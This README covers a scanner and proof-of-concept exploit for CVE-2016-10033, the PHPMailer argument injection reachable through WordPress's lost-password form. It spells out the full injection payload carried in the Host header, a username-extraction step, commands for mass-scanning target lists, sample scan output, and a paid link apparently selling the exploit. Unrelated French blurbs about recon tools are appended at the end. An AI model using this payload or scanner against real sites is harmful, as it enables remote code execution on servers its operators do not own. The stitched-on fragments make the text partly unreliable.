
Threaded scanner and proof-of-concept exploit for CVE-2016-10033, the PHPMailer isMail Sender argument injection reachable via WordPress lost-password requests.
PHPMailer < 5.2.18 (isMail transport) - additional-parameter injection in the mail() call via a crafted Sender
| field | value |
|---|---|
| CVE | CVE-2016-10033 |
| severity | critical |
| CVSS | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| fixed in | PHPMailer 5.2.18 (the patch wraps the Sender in escapeshellarg() and gates it behind validateAddress() in mailSend(); shipped with WordPress 4.6.1 and 4.7) |
| class | argument injection into the mail() additional parameters (CWE-88) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5TII
The mailSend function in the isMail transport of PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property. In the bundled WordPress copies this is reachable unauthenticated through the wp-login.php?action=lostpassword POST, whose Sender comes from the request itself. The entry is CISA KEV-listed with EPSS 0.99714.
The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
In 5.2.17 the isMail branch builds the additional-parameters string as sprintf('-f%s', $this->Sender) and hands it straight to mail(), with no escaping and no address validation, so the space-separated tokens of the Sender bleed into the sendmail command line as extra switches. The 5.2.18 patch (verified by diffing class.phpmailer.php v5.2.17 against v5.2.18) changes exactly that: $params = sprintf('-f%s', escapeshellarg($this->Sender)) plus a validateAddress() guard on every Sender use. Impact per the template: successful exploitation can lead to unauthorized remote code execution on the affected WordPress website. Remediation: upgrade PHPMailer to 5.2.18 or higher (WordPress 4.6.1 / 4.7 and later).
max-request: 2 and its raw pair:
GET {BaseURL}/?author=1 - the username extractor regex Author:(?:[A-Za-z0-9 -_="]+)?<span(?:[A-Za-z0-9 -_="]+)?>([A-Za-z0-9]+)</span> (group 1) supplies user_login.POST {BaseURL}/wp-login.php?action=lostpassword with the crafted Sender carried as the Host line target(any -froot@localhost -be /bin/touch /tmp/success null) and body wp-submit=Get+New+Password&redirect_to=&user_login=<username>.part: header: the header block of the second response must contain the literal string wp-login.php?checkemail=confirm.302 (template unsafe: true, so the redirect is kept raw and not followed).matchers-condition: and; the first response is only used for the extractor, never for the verdict.--json sidecar mirrors the same rows for tooling.Scanner:
python scanner/CVE-2016-10033/scanner.py urls.txt [threads] [out.csv] [--json out.json]
urls.txt takes one target per line (# comments skipped, scheme auto-prepended when missing), e.g. 192.168.1.10:80 or http://192.168.1.10:80.
python exploit/CVE-2016-10033/exploit.py http://127.0.0.1:8099 [--csv out.csv] [--json out.json] [--verbose]
It replays the two raw requests, prints numbered checks 1 to 5, the result dict, and the final verdict line.
RCE POC SUITE
scanner : CVE-2016-10033 v1.0.0 (PHPMailer < 5.2.18 isMail, WordPress < 4.6.1 / 4.7)
requests: GET /?author=1 then POST /wp-login.php?action=lostpassword
threads : 4 | csv: cve10033.csv | json: cve10033.json
[2026-12-03 12:05:11] loaded 2 target(s) from urls.txt
[2026-12-03 12:05:11] [1/2] http://127.0.0.1:8099 -> VULNERABLE
[2026-12-03 12:05:11] [2/2] http://127.0.0.1:8100 -> not-vuln
[2026-12-03 12:05:11] summary: total=2 vulnerable=1 not-vuln=1 errors=0
[2026-12-03 12:05:11] timing : avg=6ms max=8ms wall=0.01s
[2026-12-03 12:05:11] report saved: cve10033.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided (scheme auto-prepended if missing) |
| status | ok | error |
| vulnerable | True/False verdict from check() |
| elapsed_ms | per-target timing |
| token | 12-char md5 over the JSON details (exec-vs-reflection proof) |
| result_b64 | base64(JSON) full details (both requests, sender, username, status, header/body heads, one boolean per matcher, matched) |
scanner/CVE-2016-10033/scanner.py - threaded black-box scanner, streamed CSV plus JSON sidecar.exploit/CVE-2016-10033/exploit.py - POC with numbered checks and CSV/JSON export.scanner/CVE-2016-10033/README.md - this file.scanner/CVE-2016-10033/DESCRIPTION.md - technical notes.| code | meaning |
|---|---|
| 0 | at least one target answered (scanner) / verification ok (exploit) |
| 2 | every target errored (scanner) / verification failed (exploit) |
http/cves/2016/CVE-2016-10033.yaml (https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2016/CVE-2016-10033.yaml)
Cartographie approfondie de la surface d'attaque et découverte d'actifs

Outil rapide d'énumération passive de sous-domaines.

reconFTW est un outil conçu pour effectuer des reconnaissances automatisées sur un domaine cible en exécutant le meilleur ensemble d'outils pour réaliser des scans et découvrir des vulnérabilités.